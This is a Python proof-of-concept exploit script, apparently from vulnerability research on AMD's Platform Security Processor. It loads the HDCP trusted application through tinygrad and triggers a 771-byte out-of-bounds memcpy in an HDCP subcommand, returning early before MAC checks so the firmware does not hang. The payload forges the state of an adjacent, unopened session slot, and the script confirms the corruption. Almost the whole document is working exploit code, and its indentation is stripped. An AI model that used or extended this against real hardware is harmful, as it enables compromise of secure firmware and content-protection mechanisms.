1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
|
"""NEW PRIMITIVE: hang-free 771-byte overflow past HDCP rx_ids into adjacent sessions.
hdcp_subcmd12_rxinfo:
line 129 ta_memcpy(sess->rx_ids, msg+25, 5 * msg[2]) <- msg[2] is a BYTE (0..255)
rx_ids is 504 bytes at sess+85 => up to 1275 bytes = 771 OOB
line 172 if (seq != 0 && sess->seq_valid == 0) { err_state=7; *out=108; return }
^ EARLY RETURN, *before* hdcp_verify_mac at line 222
=> the overflow lands and the TA returns normally: NO HANG.
Proof: overflow from slot 0 with a payload that forges slot 1's state words
(+0 = 2, +8 = 1), then show cmd 0x0F on slot 1 changes behaviour even though
slot 1 was never opened.
slot1+0 is payload index 652-85 = 567 ; slot1+8 is index 575
"""
import ctypes, struct, time
from tinygrad import Device
from tinygrad.runtime.autogen.am import am
from tinygrad.helpers import lo32, hi32
d=Device["AMD"]; adev=d.iface.dev_impl; psp=adev.psp
SZ=ctypes.sizeof(am.struct_psp_gfx_cmd_resp); C2P=90112+64
def crash(): return {n:adev.rreg(C2P+n) for n in (82,83,84,85,86)}
def stat(): return int.from_bytes(bytes(adev.vram.view(psp.cmd_paddr,SZ)[:])[864:868],"little")
def alloc(n):
pa=adev.mm.palloc(n,align=0x1000,zero=True); return pa,adev.paddr2mc(pa)
P='/Users/user/dev/amd-psp-re/psp_out/'
def load(cmd,blob):
ap,amc=alloc(0x40000); cp,cmc=alloc(0x8000)
adev.vram.view(ap,len(blob))[:]=blob; adev.gmc.flush_hdp()
adev.vram.view(psp.cmd_paddr,SZ)[:]=b"\x00"*SZ
c=am.struct_psp_gfx_cmd_resp(cmd_id=cmd); t=c.cmd.cmd_load_ta
t.app_phy_addr_hi,t.app_phy_addr_lo=hi32(amc),lo32(amc); t.app_len=len(blob)
t.cmd_buf_phy_addr_hi,t.cmd_buf_phy_addr_lo=hi32(cmc),lo32(cmc); t.cmd_buf_len=0x8000
r=psp._ring_submit(c); return r.resp.session_id,cp
load(am.GFX_CMD_ID_LOAD_ASD, open(P+'asd_full.bin','rb').read())
dtm_sid,dtm_shm=load(am.GFX_CMD_ID_LOAD_TA, open(P+'dtm_full.bin','rb').read())
sid,shm=load(am.GFX_CMD_ID_LOAD_TA, open(P+'hdcp_full.bin','rb').read())
def inv(s,sh,buf,tc):
adev.vram.view(sh,0x8000)[:]=bytes(buf); adev.gmc.flush_hdp()
adev.vram.view(psp.cmd_paddr,SZ)[:]=b"\x00"*SZ
ic=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD); iv=ic.cmd.cmd_invoke_cmd
iv.session_id,iv.ta_cmd_id=s,tc
t0=time.time()
try: psp._ring_submit(ic); return 0, bytes(adev.vram.view(sh,0x2000)[:]), time.time()-t0
except RuntimeError: return stat(), bytes(adev.vram.view(sh,0x2000)[:]), time.time()-t0
except TimeoutError: return "TIMEOUT",None,time.time()-t0
def topo(h):
b=bytearray(0x8000); struct.pack_into('<I',b,0,2)
struct.pack_into('<10I',b,0x10,h,1,1,0,0,0,0,0,0,0)
return inv(dtm_sid,dtm_shm,b,2)[1]
def hdcp(cmd,mut=None):
b=bytearray(0x8000); struct.pack_into('<I',b,0,cmd)
if mut: mut(b)
ps,out,dt=inv(sid,shm,b,cmd)
if out is None: return ps,None,None,dt
return ps, struct.unpack_from('<I',out,4)[0], out, dt
for h in range(8): topo(h)
print("crash regs at start:", {k:hex(v) for k,v in crash().items()})
# --- open ONE session (slot 0) -------------------------------------------
ps,ret,out,dt=hdcp(0x0E, lambda b: struct.pack_into('<I',b,0xC,0))
slot=struct.unpack_from('<I',out,0x1410)[0] if out else None
print("\ncmd 0x0E open -> ta_ret=%s slot=%s (%.2fs)" % (ret,slot,dt))
def subcmd12(target_slot,N,seq_nonzero,payload):
ln=5*N+25
def m(b):
struct.pack_into('<I',b,0xC,target_slot)
struct.pack_into('<I',b,0x10,12)
struct.pack_into('<I',b,0x14,ln+1)
b[0x28]=12
b[0x29]=0; b[0x2A]=0; b[0x2B]=N & 0xFF; b[0x2C]=0
b[0x2F]=1 if seq_nonzero else 0; b[0x30]=0; b[0x31]=0
b[0x42:0x42+len(payload)]=payload
return hdcp(0x0F,m)
# --- BASELINE: cmd 0x0F on the never-opened slot 1 -----------------------
ps,r,out,dt=subcmd12(1,1,True,b"\x00"*5)
sub_before = struct.unpack_from('<I',out,0x1424)[0] if out else None
print("BEFORE cmd0F on slot 1 (never opened): ta_ret=%s sub=%s (%.2fs)" % (r,sub_before,dt))
# --- FIRE: 1275-byte copy from slot 0, forging slot 1's state words ------
pl=bytearray(b"\x41"*(5*255))
struct.pack_into('<I',pl,567,2) # slot1 + 0 = 2
struct.pack_into('<I',pl,575,1) # slot1 + 8 = 1
ps,r,out,dt=subcmd12(slot,255,True,bytes(pl))
sub=struct.unpack_from('<I',out,0x1424)[0] if out else None
print("\nFIRE N=255 (copy=1275B, 771B OOB), seq!=0 -> early return")
print(" psp=%s ta_ret=%s sub_status=%s elapsed=%.2fs" % (ps,r,sub,dt))
print(" crash regs:", {k:hex(v) for k,v in crash().items()})
print(" sOS alive:", psp.is_sos_alive())
# --- AFTER: same probe on slot 1 ----------------------------------------
ps,r,out,dt=subcmd12(1,1,True,b"\x00"*5)
sub_after = struct.unpack_from('<I',out,0x1424)[0] if out else None
print("\nAFTER cmd0F on slot 1: ta_ret=%s sub=%s (%.2fs)" % (r,sub_after,dt))
print("\nRESULT: hang-free=%s slot1 state changed=%s" %
(ps!="TIMEOUT" and dt<5, (sub_before,sub_after)))
|
